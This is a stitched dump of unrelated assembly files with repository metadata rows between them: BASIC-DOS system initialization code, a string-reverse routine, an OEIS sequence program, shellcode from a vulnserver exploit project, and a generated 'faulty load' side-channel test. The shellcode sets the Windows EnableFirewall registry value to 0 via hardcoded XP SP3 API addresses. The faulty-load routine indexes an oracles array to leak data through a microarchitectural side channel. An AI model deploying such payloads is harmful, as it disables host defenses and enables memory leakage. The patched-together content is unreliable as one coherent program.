mov ax,offset FAT_BUFHDR
shr ax,cl
mov es:[buf_head],ax
mov dx,offset DIR_BUFHDR
shr dx,cl
DBGINIT STRUCT,[FAT_BUFHDR],BUF
mov [FAT_BUFHDR].BUF_PREV,dx
mov [FAT_BUFHDR].BUF_NEXT,dx
mov [FAT_BUFHDR].BUF_SIZE,512
DBGINIT STRUCT,[DIR_BUFHDR],BUF
mov [DIR_BUFHDR].BUF_PREV,ax
mov [DIR_BUFHDR].BUF_NEXT,ax
mov [DIR_BUFHDR].BUF_SIZE,512
push [FDC_DEVICE].SEG ; save FDC pointer on stack
push [FDC_DEVICE].OFF
mov al,[si].BPB_DRIVE ; use the BPB's own BPB_DRIVE #
mov ah,size BPBEX ; to determine the system BPB to update
mul ah
mov di,es:[bpb_table].OFF
add di,ax
cmp di,es:[bpb_table].SEG
ASSERT B
jnb si6b
mov cx,(size BPB) SHR 1
push di
rep movsw
pop di
push es
pop ds
ASSUME DS:DOS
mov ah,TIME_GETTICKS
int INT_TIME ; CX:DX is current tick count
mov [di].BPB_TIMESTAMP.OFF,dx
mov [di].BPB_TIMESTAMP.SEG,cx
;
; Calculate BPBEX values like BPB_CLUSLOG2 and BPB_CLUSBYTES for the "boot"
; BPB, and then initialize other BPBEX values (eg, BPB_DEVICE) for all BPBs.
;
; TODO: It would be nicer to leverage the FDC's buildbpb function to do some
; of this work, but that would have to be preceded by a call to the mediachk
; function to avoid hitting the disk(s) unnecessarily, and all of that would
; require access to the dev_request interface, which is awkward at the moment.
; So we'll live with a bit of redundant code here.
;
sub cx,cx
mov al,[di].BPB_CLUSSECS ; calculate LOG2 of CLUSSECS in CX
test al,al
jnz si6 ; make sure CLUSSECS is non-zero
sie0: jmp sysinit_error
si6: shr al,1
jc si6a
inc cx
jmp si6
si6a: jnz sie0 ; hmm, CLUSSECS wasn't a power-of-two
mov [di].BPB_CLUSLOG2,cl
mov ax,[di].BPB_SECBYTES ; use that to also calculate CLUSBYTES
shl ax,cl
mov [di].BPB_CLUSBYTES,ax
;
; Finally, calculate total clusters on the disk (total data sectors
; divided by sectors per cluster, or just another shift using CLUSLOG2).
;
mov ax,[di].BPB_DISKSECS
sub ax,[di].BPB_LBADATA ; AX = DISKSECS-LBADATA (data sectors)
shr ax,cl ; AX = data clusters
mov [di].BPB_CLUSTERS,ax
si6b: pop ax ; restore FDC pointer in DX:AX
pop dx
pop cx ; restore # BPBs in CL
mov di,[bpb_table].OFF ; DI -> first BPB
si6c: DBGINIT STRUCT,[di],BPB
mov [di].BPB_DEVICE.OFF,ax
mov [di].BPB_DEVICE.SEG,dx
cmp [di].BPB_SECBYTES,0 ; is this BPB initialized?
jne si6d ; yes
mov [di].BPB_DRIVE,ch ; no, fill in the drive #
si6d: add di,size BPBEX
inc ch
dec cl
jnz si6c
pop es
ASSUME ES:NOTHING
;
; The next resident table (sfb_table) contains our System File Blocks.
; Look for a "FILES=" line in CFG_FILE.
;
si7: mov si,offset CFG_FILES
call find_cfg ; look for "FILES="
jc si7a ; if not found, AX will be min value
xchg si,di
push es
push cs
pop es
mov bl,10 ; BL = base 10
DOSUTIL ATOI16 ; DS:SI -> string, ES:DI -> validation
pop es ; AX = new value
si7a: mov dx,size SFB
mov bx,offset sfb_table
call init_table ; initialize table, update ES
;
; After all the resident tables have been created, initialize the MCB chain.
;
push cs
pop ds
ASSUME DS:DOS
mov bx,es
sub di,di
mov al,MCBSIG_LAST
stosb ; mov es:[MCB_SIG],MCBSIG_LAST
sub ax,ax
stosw ; mov es:[MCB_OWNER],0
mov ax,[top_seg]
sub ax,bx ; AX = top segment - ES
dec ax ; AX reduced by 1 para (for MCB)
stosw
mov cl,size MCB_RESERVED + size MCB_NAME
mov al,0
rep stosb
mov es,[dos_seg] ; mcb_head is in resident DOS segment
ASSUME ES:DOS
mov es:[mcb_head],bx
;
; Before we create any sessions (and our first PSPs), we need to open all the
; devices required for the 5 STD handles. And we open AUX first, purely for
; historical reasons (by opening AUX first, CON second, and PRN third, the SFHs
; for the first five handles will always be 1, 1, 1, 0, and 2).
;
; Since no PSP exists yet, DOS_HDL_OPEN will return system file handles, not
; process file handles. Which is exactly what we want, because we're going to
; store each SFH in the SCB, so that every time a new program is loaded in the
; SCB, its PSP will receive the same SFHs.
;
mov dx,offset AUX_DEVICE
mov ax,DOS_HDL_OPENRW
int 21h
jc open_error
mov bx,es:[scb_active] ; BX -> SCB
mov es:[bx].SCB_SFHAUX,al
mov cl,al ; CL = SFH for AUX
;
; Next, open CON, with optional context. If there's a "CONSOLE=" setting in
; CFG_FILE, use that; otherwise, use CON_DEVICE.
;
si8: mov si,offset CFG_CONSOLE
mov dx,offset CON_DEVICE
call find_cfg ; look for "CONSOLE="
jc si9 ; not found
mov dx,di
si9: mov ax,DOS_HDL_OPENRW
int 21h
jc open_error
mov es:[bx].SCB_SFHIN,al ; AL = SFH (not PFH)
mov es:[bx].SCB_SFHOUT,al ; AL = SFH (not PFH)
mov es:[bx].SCB_SFHERR,al ; AL = SFH (not PFH)
;
; Last but not least, open PRN.
;
mov dx,offset PRN_DEVICE
mov ax,DOS_HDL_OPENRW
int 21h
jc open_error
mov es:[bx].SCB_SFHPRN,al ; AL = SFH
mov ch,al ; CH = SFH for PRN
;
; See if there are any more CONSOLE contexts defined; if so, then for each
; one, open an CON handle, and record it in the next available SCB. If there
; aren't enough SCBs or SFBs, then we've got a configuration error.
;
si10: mov si,offset CFG_CONSOLE
call find_cfg ; look for another "CONSOLE="
jc si12 ; no more
add bx,size SCB
cmp bx,es:[scb_table].SEG
jb si11
mov dx,offset CONERR
jmp print_error
si11: mov es:[scb_active],bx ; make the next SCB active
mov dx,di
mov ax,DOS_HDL_OPENRW
int 21h
jc open_error
mov es:[bx].SCB_SFHIN,al
mov es:[bx].SCB_SFHOUT,al
mov es:[bx].SCB_SFHERR,al
mov word ptr es:[bx].SCB_SFHAUX,cx
ASSERT <SCB_SFHAUX + 1>,EQ,<SCB_SFHPRN>
jmp si10
DEFLBL open_error,near
PRINTF <"Error opening %s: %d">,dx,ax
jmp fatal_error
si12: mov si,offset CFG_DEBUG
call find_cfg ; look for "DEBUG="
jc si13 ; not found
mov dx,di
mov ax,DOS_HDL_OPENRW
int 21h
jc si13
mov es:[sfh_debug],al ; save SFH for DEBUG device
si13: cmp word ptr es:[key_boot],0
jne si14 ; skip if key_boot is already set
mov si,offset CFG_BOOTKEY
call find_cfg ; look for "BOOTKEY="
jc si14
mov al,[di]
mov byte ptr es:[key_boot],al
;
; Good time to print a "System ready" message, or something to that effect.
;
si14: mov dx,offset SYS_MSG
mov ah,DOS_TTY_PRINT
int 21h
;
; Before we start loading SHELL definitions, we're going to hook INT 21h
; with a handler that looks for duplicate opens and returns a cached copy
; of the data for any load after the first.
;
mov ax,(DOS_MSC_GETVEC SHL 8) OR 21h
int 21h
mov [pCacheInt21].OFF,bx
mov [pCacheInt21].SEG,es
mov dx,offset cache_int21
push cs
pop ds
mov ax,(DOS_MSC_SETVEC SHL 8) OR 21h
int 21h
;
; For each SHELL definition, load the corresponding file into the next
; available SCB. The first time through, CFG_SHELL is used as a fallback,
; so even if there are no SHELL definitions, at least one will be loaded.
;
sub sp,size SPB ; alloc SPB from the stack
sub dx,dx ; DX = SCB load count
mov bx,offset SHELL_FILE ; BX = default shell
si15: mov si,offset CFG_SHELL
call find_cfg ; look for "SHELL="
jc si16 ; not found
mov bx,di
si16: test bx,bx ; do we still have a default?
jz si20 ; no, done loading
;
; Note that during the LOAD process, the SCB is locked and active, so that
; the program file can be opened and read using the SCB's PSP. It's unlocked
; when the load finishes, but it won't start running until after START is set.
;
push ss
pop es
mov di,sp ; ES:DI -> SPB on stack
mov ax,-1
stosw ; SPB_ENVSEG <- -1
xchg ax,bx
stosw ; SPB_CMDLINE.OFF <- BX
mov ax,ds
stosw ; SPB_CMDLINE.OFF <- DS
xchg ax,bx ; AX = -1 again (aka SFH_NONE)
stosb ; SPB_SFHIN <- SFH_NONE
stosb ; SPB_SFHOUT <- SFH_NONE
stosb ; SPB_SFHERR <- SFH_NONE
stosb ; SPB_SFHAUX <- SFH_NONE
stosb ; SPB_SFHPRN <- SFH_NONE
mov bx,sp ; ES:BX -> SPB on stack
DOSUTIL LOAD ; load specified SHELL into an SCB
jc si18
test ax,ax
jz si16a
mov [cbCacheData],ax
mov [pCacheData].OFF,bx
mov [pCacheData].SEG,es
si16a: DOSUTIL START ; CL = SCB # (from the LOAD call)
inc dx ; must be valid, so no error checking
si17: sub bx,bx ; no default shell now
jmp si15
si18: PRINTF <"Error loading %s: %d",13,10>,dx,ax
jmp si17
;
; Although it may appear every SCB was started immediately after loading,
; nothing can ACTUALLY run until we obtain access to the CLOCK$ device and
; re-vector all the hardware interrupt handlers that drive our scheduler.
;
si20: add sp,size SPB ; free SPB on the stack
; (somewhat moot, but let's stay tidy)
lds dx,[pCacheInt21] ; restore INT 21h vector
mov ax,(DOS_MSC_SETVEC SHL 8) OR 21h
int 21h
push cs
pop ds
test dx,dx
jz sie2 ; if no SCBs loaded, that's not good
;
; Utility functions like SLEEP need access to the clock device, so we save
; its address in clk_ptr. While we could open the device normally and obtain
; a system file handle, that would require the utility functions to use SFB
; interfaces (sfb_get, sfb_read, etc) with no benefit.
;
mov dx,offset CLK_DEVICE
DOSUTIL GETDEV
jc sie1
mov ds,[dos_seg]
mov [clk_ptr].OFF,di
mov [clk_ptr].SEG,es
;
; "Revector" DDINT_ENTER and DDINT_LEAVE to int_enter and int_leave.
;
sub ax,ax
mov es,ax
ASSUME ES:BIOS
cli
mov di,offset DDINT_ENTER
mov al,OP_JMPF
stosb
mov ax,offset int_enter
stosw
mov ax,ds
stosw
mov al,OP_JMPF
stosb
mov ax,offset int_leave
stosw
mov ax,ds
stosw
;
; Activate and start running the first session. We must mimic scb_switch
; rather than calling it, because we're not switching SCBs (sysinit is not
; a session).
;
; The end of sysinit used to just turn on interrupts and spin, knowing that
; the first scb_yield would never return here, but that required us to also
; zero scb_active and include "null SCB" tests in scb_yield and scb_switch;
; this approach eliminates the need for those special tests.
;
mov bx,[scb_table].OFF ; BX -> the first SCB
mov [scb_active],bx ; make it active (for consistency)
mov ss,[bx].SCB_STACK.SEG
mov sp,[bx].SCB_STACK.OFF
push ds
mov ax,offset dos_leave
push ax
ret ; we let dos_leave turn interrupts on
sie1: jmp open_error
sie2: jmp sysinit_error
ENDPROC sysinit
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;
; find_cfg
;
; Search for length-prefixed string at CS:SI in CFG_FILE, and if found,
; set DI to 1st character after match.
;
; Outputs:
; Carry clear on success (DI -> 1st character after match)
; Carry set on failure (AX = default value following string at SI)
;
; Modifies:
; AX, SI, DI
;
DEFPROC find_cfg
ASSUME DS:NOTHING, ES:NOTHING
push bx
push cx
push dx
push es
push cs
pop es
ASSUME ES:DOS
mov bx,si
mov di,[cfg_data] ; DI points to CFG_FILE data
mov dx,di
add dx,[cfg_size] ; DX points to end of CFG_FILE data
fc1: lods byte ptr cs:[si] ; 1st byte at CS:SI is length
cbw
xchg cx,ax ; CX = length of string to find
cli ; avoid 8086 string interrupt errata
repe cmps byte ptr cs:[si],es:[di]
sti
jne fc2
mov es:[di-1],cl ; zap the CFG match to prevent reuse
jmp short fc9 ; found it!
fc2: add si,cx ; move SI forward to the minimum value
mov al,0Ah ; LINEFEED
mov cx,dx
sub cx,di ; CX = bytes left to search
jb fc8 ; ran out
repne scasb
stc
jne fc8 ; couldn't find another LINEFEED
mov si,bx
jmp fc1
fc8: mov ax,cs:[si] ; return the minimum value at SI
fc9: pop es
ASSUME ES:NOTHING
pop dx
pop cx
pop bx
ret
ENDPROC find_cfg
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;
; init_table
;
; Initializes table with AX entries of length DX at ES:0, stores DOS segment-
; relative table offset at [BX], table limit at [BX+2], and finally adjusts ES.
;
; Outputs:
; Nothing
;
; Modifies: CX, DX, DI
;
DEFPROC init_table
ASSUME DS:NOTHING, ES:NOTHING
push ax
mul dx ; AX = length of table in bytes
xchg cx,ax ; CX = length
sub di,di
mov ax,di
rep stosb ; zero the table
push ds
mov ds,[dos_seg]
mov ax,es
mov dx,ds
sub ax,dx ; AX = distance from DS:0 in paras
mov dx,ax ; save for DS overflow check
mov cl,4
shl ax,cl ; AX = DS-relative offset
mov [bx].OFF,ax ; save DS-relative offset
add ax,di
mov [bx].SEG,ax ; save DS-relative limit
pop ds
add di,15
mov cl,4
shr di,cl ; DI = length of table in paras
add dx,di ; check for DS overflow
cmp dx,1000h ; have we exceeded the DS 64K limit?
ja sie2 ; yes, sadly
mov ax,es
add ax,di
mov es,ax ; ES = next available paragraph
pop ax
ret
ENDPROC init_table
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;
; cache_int21
;
; The sole purpose of this function is to intercept OPEN and READ requests
; that occur during our DOSUTIL LOAD operations, which we also know will be
; completely sequential (and therefore our caching logic can be very simple).
;
; This allows us to preload multiple copies of COMMAND.COM into memory without
; having to reread the file from disk every time.
;
; Inputs:
; AH = DOS function #
;
; Outputs:
; Varies (function-specific)
;
DEFPROC cache_int21,FAR
cmp ah,DOS_HDL_OPEN
jne ci2
push ax
push cx
push si
push di
push es
mov si,dx
sub ax,ax
mov [pCacheActive].OFF,ax ; no active cache data yet
DOSUTIL STRLEN ; AX = length of string at DS:SI
xchg cx,ax ; CX = length
les di,[pCacheFile] ; ES:DI -> previous filename, if any
test di,di ; is there a previous filename?
jz ci1 ; no
repe cmpsb ; does previous filename match current?
jne ci1 ; no
mov ax,[pCacheData].OFF ; yes, init active cache data
mov [pCacheActive].OFF,ax
mov ax,[pCacheData].SEG
mov [pCacheActive].SEG,ax
mov ax,[cbCacheData]
mov [cbCacheActive],ax
ci1: mov [pCacheFile].OFF,dx ; in any case, remember this filename
mov [pCacheFile].SEG,ds
pop es
pop di
pop si
pop cx
pop ax
jmp short ci9
ci2: cmp ah,DOS_HDL_READ
jne ci9
push cx
push si
push di
push ds
push es
push ds
pop es
mov di,dx ; ES:DI -> destination
lds si,[pCacheActive] ; DS:SI -> source data
test si,si ; does any source data exist?
stc
jz ci8 ; no
mov ax,cx ; AX = # bytes to copy
cmp ax,[cbCacheActive] ; do we have as much data as requested?
jbe ci3 ; yes
mov ax,[cbCacheActive] ; no
ci3: mov cx,ax
rep movsb
sub [cbCacheActive],ax
add [pCacheActive].OFF,ax
ASSERT NC
ci8: pop es
pop ds
pop di
pop si
pop cx
jnc ci10
ci9: pushf
call [pCacheInt21]
ci10: ret 2
ENDPROC cache_int21
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;
; sysinit_error (print generic error message and halt)
;
; Inputs:
; None
;
; Outputs:
; None (system halted)
;
DEFLBL sysinit_error,near
mov dx,offset SYSERR
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;
; print_error (print error message and halt)
;
; Inputs:
; DX -> message
;
; Modifies:
; AX, DS
;
DEFLBL print_error,near
push cs
pop ds
mov ah,DOS_TTY_PRINT
int 21h
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;
; fatal_error (print halt message and halt)
;
; Inputs:
; None
;
; Outputs:
; None (system halted)
;
DEFLBL fatal_error,near
mov dx,offset HALTED
mov ah,DOS_TTY_PRINT
int 21h
jmp $ ; "halt"
;
; Initialization data
;
; Labels are capitalized to indicate that the data is R/O, not R/W.
;
DEFLBL INT_TABLES,word
dw (INT_DV * 4) ; 00h: diverr and single-step vectors
dw dos_dverr,dos_sstep,0
dw (INT_BP * 4) ; 03h: breakpoint and overflow vectors
dw dos_brkpt,dos_oferr,0
dw (INT_UD * 4) ; 06h: initialize the INT_UD vector
dw dos_opchk,0 ; in case the OPCHECK macro is enabled
dw (INT_DOSTERM * 4) ; 20h: initialize all the DOS vectors
dw dos_term,dos_func,dos_exit,dos_ctrlc
dw dos_error,disk_read,disk_write,dos_tsr,dos_default,0
dw (INT_DOSNET * 4) ; 2Ah
dw dos_default,dos_default,dos_default
dw dos_default,dos_default,dos_default,0
dw -1 ; end of tables (should end at INT 30h)
DEFLBL INT_TABLES_END
CFG_BOOTKEY db 8,"BOOTKEY="
CFG_CONSOLE db 8,"CONSOLE="
CON_DEVICE db "CON:80,25",0 ; default CONSOLE configuration
CFG_DEBUG db 6,"DEBUG=" ; used to specify DEBUG device
CFG_FILES db 6,"FILES="
dw 20,8,255
CFG_MEMSIZE db 8,"MEMSIZE="
dw 640,16,640
CFG_SESSIONS db 9,"SESSIONS="
dw 4,1,32 ; TODO: Decide if 32 session limit OK
CFG_SHELL db 6,"SHELL="
CFG_SWITCHAR db 9,"SWITCHAR="
AUX_DEVICE db "AUX",0
PRN_DEVICE db "PRN",0
CLK_DEVICE db "CLOCK$",0
SHELL_FILE db "COMMAND.COM",0 ; default SHELL file
SYS_MSG db "BASIC-DOS "
VERSION_STR
db " for the IBM PC",13,10
db "Copyright (c) PCJS.ORG 1981-2021",13,10,13,10,'$'
SYSERR db "System initialization error$"
CONERR db "More CONSOLES than SESSIONS$"
HALTED db "; halted$"
DEFLBL sysinit_end
DOS ends
end
| 27.201976
| 80
| 0.671724
|
00d198ff6976b34da19eeebba40fda0dd88604af
| 2,213
|
nasm
|
Assembly
|
winxp_sp3/trun/disable_firewall/registry_disablefw/disable_firewall.nasm
|
danf42/vulnserver
|
1b01aaa0f0b5706b5bc24c5f64d99dddcdcfe913
|
[
"MIT"
] | null | null | null |
winxp_sp3/trun/disable_firewall/registry_disablefw/disable_firewall.nasm
|
danf42/vulnserver
|
1b01aaa0f0b5706b5bc24c5f64d99dddcdcfe913
|
[
"MIT"
] | null | null | null |
winxp_sp3/trun/disable_firewall/registry_disablefw/disable_firewall.nasm
|
danf42/vulnserver
|
1b01aaa0f0b5706b5bc24c5f64d99dddcdcfe913
|
[
"MIT"
] | null | null | null |
[BITS 32]
global _start
_start:
;for the handle
xor edx, edx
mov edi, esp
mov dword [edi], edx
sub esp, 0x10 ;avoid handle being overwritten
;Prepare the key - 'SYSTEM\CurrentControlSet\Services\SharedAccess\Parameters\FirewallPolicy\StandardProfile'
push edx
push 0x656c6966
push 0x6f725064
push 0x7261646e
push 0x6174535c
push 0x7963696c
push 0x6f506c6c
push 0x61776572
push 0x69465c73
push 0x72657465
push 0x6d617261
push 0x505c7373
push 0x65636341
push 0x64657261
push 0x68535c73
push 0x65636976
push 0x7265535c
push 0x7465536c
push 0x6f72746e
push 0x6f43746e
push 0x65727275
push 0x435c4d45
push 0x54535953
mov edx, esp
; Open the Registry Key
; https://docs.microsoft.com/en-us/windows/win32/api/winreg/nf-winreg-regcreatekeyexa
; https://docs.microsoft.com/en-us/windows/win32/sysinfo/registry-key-security-and-access-rights
; https://github.com/Alexpux/mingw-w64/blob/d0d7f784833bbb0b2d279310ddc6afb52fe47a46/mingw-w64-headers/include/winreg.h
xor eax, eax
push eax ;pDisposion = NULL
push edi ;pHandle
push eax ;pSecurity = NULL
push 0x0f003f ;Access = KEY_ALL_ACCESS
push eax ;Options = REG_OPTION_NON_VOLATILE
push eax ;Class = NULL
push eax ;Reserved = NULL
push edx ;Subkey
push 0x80000002 ;hkey = HKEY_LOCAL_MACHINE
mov eax, 0x77dde9e4 ;RegCreateKeyExA
call eax
;RegSetValue ValueName = EnableFireall
push 0x00006c6c
push 0x61776572
push 0x6946656c
push 0x62616e45
mov esi, esp
;REgSEtValue buffer = 0 -- Disable
xor ecx, ecx
push 0x00000000
mov ecx, esp
; Write the registry key=value
; https://docs.microsoft.com/en-us/windows/win32/api/winreg/nf-winreg-regsetvalueexa
; https://github.com/Alexpux/mingw-w64/blob/master/mingw-w64-tools/widl/include/winnt.h
xor eax, eax
push 0x00000004 ;BufSize = 4
push ecx ;Buffer (pointer to value)
push 0x00000004 ;ValueType = REG_DWORD == 4
push eax ;Reserved = 0
push esi ;ValueName
push dword [edi] ;hKey
mov eax, 0x77ddead7 ;RegSetValueExA
call eax
; Close the registry key
; https://docs.microsoft.com/en-us/windows/win32/api/winreg/nf-winreg-regclosekey
push dword [edi] ;hKey
mov eax, 0x77dd6c17 ;RegCloseKey
call eax
| 25.732558
| 120
| 0.755535
|
2e9380502eafb2b44e199c3b9e49c2cdfd8ad588
| 490
|
asm
|
Assembly
|
progs/chap05p06-strrev.asm
|
HKhademian/AssemblyDandamudi
|
b4d4ccbb7e585953a8d2d22b47d815a3f45f9129
|
[
"Unlicense"
] | 1
|
2020-05-07T14:20:09.000Z
|
2020-05-07T14:20:09.000Z
|
progs/chap05p06-strrev.asm
|
HKhademian/AssemblyDandamudi
|
b4d4ccbb7e585953a8d2d22b47d815a3f45f9129
|
[
"Unlicense"
] | null | null | null |
progs/chap05p06-strrev.asm
|
HKhademian/AssemblyDandamudi
|
b4d4ccbb7e585953a8d2d22b47d815a3f45f9129
|
[
"Unlicense"
] | null | null | null |
%include "lib.asm"
extern ExitProcess
global _start
section .text
MAX_TEXT EQU 1000
CRLF db CR, LF, NULL
CTAB db TAB, NULL
MSG_EQ db "= ", NULL
MSG_TEXT db "Text", NULL
MSG_INP db "Input ", NULL
section .bss
text1 resb MAX_TEXT
buffer resb 25
section .data
section .code
_start:
putstr MSG_INP
putstr MSG_TEXT
putstr MSG_EQ
fgets text1, MAX_TEXT
push text1
call strrev
putstr text1
putstr CRLF
call strrev
putstr text1
jmp _end
_end:
push 0
call ExitProcess
| 11.666667
| 26
| 0.732653
|
07fba191493dafd7ef4c9a2603198c38744889fb
| 336
|
asm
|
Assembly
|
programs/oeis/083/A083570.asm
|
neoneye/loda
|
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
|
[
"Apache-2.0"
] | 22
|
2018-02-06T19:19:31.000Z
|
2022-01-17T21:53:31.000Z
|
programs/oeis/083/A083570.asm
|
neoneye/loda
|
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
|
[
"Apache-2.0"
] | 41
|
2021-02-22T19:00:34.000Z
|
2021-08-28T10:47:47.000Z
|
programs/oeis/083/A083570.asm
|
neoneye/loda
|
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
|
[
"Apache-2.0"
] | 5
|
2021-02-24T21:14:16.000Z
|
2021-08-09T19:48:05.000Z
|
; A083570: A de Bruijn sequence of length 9 over {0, 1, 2}, repeated.
; 0,0,1,1,2,2,1,0,2,0,0,1,1,2,2,1,0,2,0,0,1,1,2,2,1,0,2,0,0,1,1,2,2,1,0,2,0,0,1,1,2,2,1,0,2,0,0,1,1,2,2,1,0,2,0,0,1,1,2,2,1,0,2,0,0,1,1,2,2,1,0,2,0,0,1,1,2,2,1,0,2,0,0,1,1,2,2,1,0,2,0,0,1,1,2,2,1,0,2
mov $1,$0
mul $0,5
mul $1,5
div $1,3
pow $1,2
add $0,$1
mod $0,3
| 30.545455
| 199
| 0.541667
|
cdcff0a45bd7d44bd21fca3e2ca7ebfaaac345da
| 7,655
|
asm
|
Assembly
|
Transynther/x86/_processed/NC/_zr_/i7-8650U_0xd2.log_21829_1456.asm
|
ljhsiun2/medusa
|
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
|
[
"MIT"
] | 9
|
2020-08-13T19:41:58.000Z
|
2022-03-30T12:22:51.000Z
|
Transynther/x86/_processed/NC/_zr_/i7-8650U_0xd2.log_21829_1456.asm
|
ljhsiun2/medusa
|
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
|
[
"MIT"
] | 1
|
2021-04-29T06:29:35.000Z
|
2021-05-13T21:02:30.000Z
|
Transynther/x86/_processed/NC/_zr_/i7-8650U_0xd2.log_21829_1456.asm
|
ljhsiun2/medusa
|
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
|
[
"MIT"
] | 3
|
2020-07-14T17:07:07.000Z
|
2022-03-21T01:12:22.000Z
|
.global s_prepare_buffers
s_prepare_buffers:
push %r14
push %r15
push %r9
push %rax
push %rcx
push %rdi
push %rdx
push %rsi
lea addresses_A_ht+0x1142d, %r9
nop
nop
nop
nop
add $18486, %rdx
movw $0x6162, (%r9)
nop
nop
nop
and %r15, %r15
lea addresses_WC_ht+0x57dd, %rsi
lea addresses_WC_ht+0xd80d, %rdi
nop
nop
nop
nop
and $33815, %rax
mov $70, %rcx
rep movsw
nop
and %r15, %r15
lea addresses_A_ht+0x1be1d, %rsi
lea addresses_UC_ht+0x16fdd, %rdi
nop
lfence
mov $119, %rcx
rep movsq
nop
and %rdi, %rdi
lea addresses_WT_ht+0x109dd, %rsi
lea addresses_WC_ht+0x10edd, %rdi
nop
nop
nop
cmp %r14, %r14
mov $47, %rcx
rep movsw
nop
nop
nop
add $26661, %rdi
lea addresses_WT_ht+0x10d3d, %rdx
clflush (%rdx)
nop
and %r14, %r14
movl $0x61626364, (%rdx)
and $17327, %r14
lea addresses_UC_ht+0x85dd, %rsi
lea addresses_D_ht+0x180cb, %rdi
clflush (%rdi)
nop
nop
sub %rdx, %rdx
mov $7, %rcx
rep movsl
nop
nop
nop
cmp $37210, %rcx
lea addresses_D_ht+0xb2a7, %rdi
nop
nop
nop
inc %r15
mov $0x6162636465666768, %rcx
movq %rcx, (%rdi)
cmp $13287, %r15
lea addresses_UC_ht+0x143dd, %rsi
lea addresses_UC_ht+0x5e6d, %rdi
clflush (%rdi)
nop
sub $50843, %rax
mov $34, %rcx
rep movsb
nop
add %r9, %r9
lea addresses_A_ht+0x9fdd, %rax
nop
nop
nop
nop
nop
sub %r15, %r15
movl $0x61626364, (%rax)
nop
nop
nop
nop
sub %rdx, %rdx
lea addresses_A_ht+0xd3dd, %rdi
nop
nop
nop
nop
nop
inc %r15
mov $0x6162636465666768, %rax
movq %rax, %xmm0
movups %xmm0, (%rdi)
add $9641, %rcx
lea addresses_UC_ht+0x1c69d, %rsi
lea addresses_D_ht+0x109fd, %rdi
nop
cmp %r15, %r15
mov $111, %rcx
rep movsq
nop
xor $34097, %rax
lea addresses_D_ht+0x116ad, %r15
and $17095, %rdi
mov (%r15), %rcx
nop
nop
nop
xor %rdi, %rdi
lea addresses_normal_ht+0xf11d, %rsi
lea addresses_WC_ht+0x13bdd, %rdi
nop
nop
lfence
mov $24, %rcx
rep movsw
nop
nop
nop
nop
nop
dec %rdx
lea addresses_WC_ht+0x1ebdd, %rsi
lea addresses_WT_ht+0xf7dd, %rdi
xor %rdx, %rdx
mov $82, %rcx
rep movsl
nop
nop
nop
add $53704, %r9
pop %rsi
pop %rdx
pop %rdi
pop %rcx
pop %rax
pop %r9
pop %r15
pop %r14
ret
.global s_faulty_load
s_faulty_load:
push %r10
push %r13
push %r14
push %rbp
push %rbx
push %rdx
// Faulty Load
mov $0x5409620000000bdd, %r10
cmp $45076, %rdx
vmovups (%r10), %ymm7
vextracti128 $0, %ymm7, %xmm7
vpextrq $0, %xmm7, %rbx
lea oracles, %rbp
and $0xff, %rbx
shlq $12, %rbx
mov (%rbp,%rbx,1), %rbx
pop %rdx
pop %rbx
pop %rbp
pop %r14
pop %r13
pop %r10
ret
/*
<gen_faulty_load>
[REF]
{'OP': 'LOAD', 'src': {'type': 'addresses_NC', 'size': 8, 'AVXalign': False, 'NT': False, 'congruent': 0, 'same': True}}
[Faulty Load]
{'OP': 'LOAD', 'src': {'type': 'addresses_NC', 'size': 32, 'AVXalign': False, 'NT': False, 'congruent': 0, 'same': True}}
<gen_prepare_buffer>
{'OP': 'STOR', 'dst': {'type': 'addresses_A_ht', 'size': 2, 'AVXalign': False, 'NT': False, 'congruent': 4, 'same': False}}
{'OP': 'REPM', 'src': {'type': 'addresses_WC_ht', 'congruent': 10, 'same': False}, 'dst': {'type': 'addresses_WC_ht', 'congruent': 4, 'same': False}}
{'OP': 'REPM', 'src': {'type': 'addresses_A_ht', 'congruent': 6, 'same': False}, 'dst': {'type': 'addresses_UC_ht', 'congruent': 10, 'same': True}}
{'OP': 'REPM', 'src': {'type': 'addresses_WT_ht', 'congruent': 9, 'same': False}, 'dst': {'type': 'addresses_WC_ht', 'congruent': 6, 'same': False}}
{'OP': 'STOR', 'dst': {'type': 'addresses_WT_ht', 'size': 4, 'AVXalign': False, 'NT': False, 'congruent': 5, 'same': False}}
{'OP': 'REPM', 'src': {'type': 'addresses_UC_ht', 'congruent': 9, 'same': False}, 'dst': {'type': 'addresses_D_ht', 'congruent': 1, 'same': False}}
{'OP': 'STOR', 'dst': {'type': 'addresses_D_ht', 'size': 8, 'AVXalign': True, 'NT': False, 'congruent': 0, 'same': False}}
{'OP': 'REPM', 'src': {'type': 'addresses_UC_ht', 'congruent': 9, 'same': False}, 'dst': {'type': 'addresses_UC_ht', 'congruent': 4, 'same': False}}
{'OP': 'STOR', 'dst': {'type': 'addresses_A_ht', 'size': 4, 'AVXalign': False, 'NT': False, 'congruent': 9, 'same': False}}
{'OP': 'STOR', 'dst': {'type': 'addresses_A_ht', 'size': 16, 'AVXalign': False, 'NT': False, 'congruent': 11, 'same': False}}
{'OP': 'REPM', 'src': {'type': 'addresses_UC_ht', 'congruent': 5, 'same': False}, 'dst': {'type': 'addresses_D_ht', 'congruent': 2, 'same': False}}
{'OP': 'LOAD', 'src': {'type': 'addresses_D_ht', 'size': 8, 'AVXalign': False, 'NT': False, 'congruent': 4, 'same': False}}
